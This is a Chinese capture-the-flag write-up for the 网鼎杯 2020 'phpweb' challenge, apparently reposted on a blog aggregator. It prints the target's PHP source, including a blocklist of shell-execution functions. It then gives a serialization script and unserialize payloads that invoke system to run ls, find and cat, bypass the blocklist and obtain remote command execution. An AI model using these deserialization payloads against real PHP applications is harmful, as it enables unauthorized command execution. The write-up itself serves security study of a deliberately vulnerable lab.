首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb 1

[网鼎杯 2020 朱雀组]phpweb 1

时间:2024-11-24 09:44:53浏览次数:10  
标签:php phpweb system flag 2020 func test 网鼎杯 页面

[网鼎杯 2020 朱雀组]phpweb 1

打开实例,发现是个php页面,过了一会页面报错,发现参数func=date&p=Y-m-d h:i:s a

image-20241117112320052

看着像php传递函数执行的请求,尝试修改func为phpinfo

func=phpinfo&p=Y-m-d h:i:s a

image-20241117112509504

可以看到参数被过滤了

采用highlight_file显示当前页面源代码,由于这个页面几秒就刷新一次,所以采用bp抓包

func=highlight_file&p=index.php

image-20241117115020937

可以看到页面源码成功显示,发现php代码

复制响应体,新建html文件粘贴(这边如果在响应体里面复制,会复制到一堆的标签)

屏蔽定时器

image-20241117115431358

打开html,复制php代码

<?php
$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
function gettime($func, $p)
{
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test
{
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct()
    {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}

image-20241117115533725

开始代码审计

可以在disable_fun数组里面,发现大量php函数被禁用

复制代码到vscode,CTRL+F搜索serialize,未发现反/序列化函数被禁用,采用反序列化执行任意代码

image-20241117120515180

构造payload代码,采用system执行命令

<?php
class test
{
    var $p = "ls";
    var $func = "system";
}

$func = new test();
$res = serialize($func);
echo $res;

image-20241124084519815

获得反序列化字符串

O:4:"test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

传入func和p参数,成功遍历当前目录

func=unserialize&p=O:4:"test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

image-20241124084845924

没有发现flag,查看根目录

image-20241124085223180

image-20241124085244095

一样没有发现flag,选择用find搜索

func=unserialize&p=O:4:"test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

image-20241124085539808

发现与之不同的temp

image-20241124085528151

cat查看

func=unserialize&p=O:4:"test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20241124085656278

成功拿到flag

image-20241124085801434

flag{f3b1f195-50f0-4d5b-8ce3-0d44d2ede1e2}

标签:php,phpweb,system,flag,2020,func,test,网鼎杯,页面
From: https://www.cnblogs.com/tazmi/p/18565456

相关文章

  • Abaqus2020/Contact新功能(1):干涉配合和初始化
    本文摘要(由AI生成):这篇文档主要介绍了Abaqus/Explicit中新增的干涉配合和通用接触中的初始化控制功能。干涉配合方面,Abaqus/Explicit提供了在首个分析步中逐步消除初始穿透的功能,并通过螺纹接触实例进行了说明。结果显示,除了应力集中区域以及奇异点的值外,Abaqus/Explicit和......
  • 代码审计[二] [GYCTF2020]Easyphp
    代码审计做的好难受的一道反序列化[GYCTF2020]Easyphp参考[GYCTF2020]Easyphp-CSDN博客查看整个网站,尝试弱口令登录,不行。猜网页,register、upload都试了一下,发现www.zip可以下载网页源码。login.php<?phprequire_once('lib.php');?><?php$user=newuser();if(isset($_......
  • 使用 InstallShield 2020 打包项目 安装程序
     打开InstallShield2020程序,单击New填写信息下一步  打包成功效果 注:打包过程中报错,进行如下设置 ......
  • 2020年华为杯数学建模竞赛C题论文和代码
    面向康复工程的脑电信号分析和判别模型    摘          要:脑电信号的识别和分类是脑机接口技术中非常重要的一环,使用者无需通过复杂训练就可以获得较高的识别准确率,具有稳定的锁时性和高时间精度特性。本文使用基于监督学习的随机森林,SVM算法,半监督学习S3VM......
  • 2020年华为杯数学建模竞赛D题论文和代码
    无人机集群协同对抗摘          要:本文针对非线性约束条件下红蓝双方无人机集群协同对抗的最优规划问题,结合贪婪队形、非线性规划、内点法、蒙特卡洛方法和全联立正交配置有限元法,构建了无人机集群协同对抗推演模型。针对问题一,构建了基于蒙特卡洛法的蓝方突防......
  • 2020CSP-J普及组第二轮试题及解析(第二题直播获奖live)
    参考程序代码:#include<bits/stdc++.h>usingnamespacestd;constintN=610;intn,w,m;inta[N];intmain(){ scanf("%d%d",&n,&w); intx; for(inti=1;i<=n;i++) { scanf("%d",&x);//读入该分数 a[x]++;//该分数放到桶里 ......
  • 2020-01-16
    分片上传关于大文件分片上传的一些思考浏览器创建文件hash创建文件的hash值。提交上传文件基本数据和文件hash值。如果存在的话,忽略本次文件上传;并将该文件路径指向用户服务器存储空间中。当文件不存在或上传一部分文件数据时,进入下一流程。文件分片访问服务器获......
  • 2020年华为杯数学建模竞赛A题代码和思路
    ASIC芯片上的载波恢复DSP算法设计与实现随着数字信号处理(DSP)技术的成熟以及芯片技术工艺的飞速发展,作为光传输领域中的关键技术之一,光数字信号处理在专用集成电路(ASIC)上的实现成为了研究重点。本文围绕着ASIC芯片中DSP算法设计流程中的主要步骤和常见问题,通过建立16QAM数......
  • P7078 [CSP-S2020] 贪吃蛇 题解
    P7078[CSP-S2020]贪吃蛇这题好啊题目传送门看到题之后觉得有点像砍蚯蚓的那道题看看题目可以证明,若一条蛇在吃完之后不是最弱的那一条蛇,那么他一定会选择吃,证明如下设蛇长为\(a_{1,\dots,n}\)且依次递增,那么很明显的因为​......
  • GEE数据集:1996 年到 2020 年全球红树林观测数据集(JAXA)(更新)
    目录简介数据集说明数据集代码代码链接结果引用许可网址推荐0代码在线构建地图应用机器学习简介全球红树林观测这项研究使用了日本宇宙航空研究开发机构(JAXA)提供的L波段合成孔径雷达(SAR)全球mask数据集,从1996年到2020年的11个时间段,建立了全球红树林范......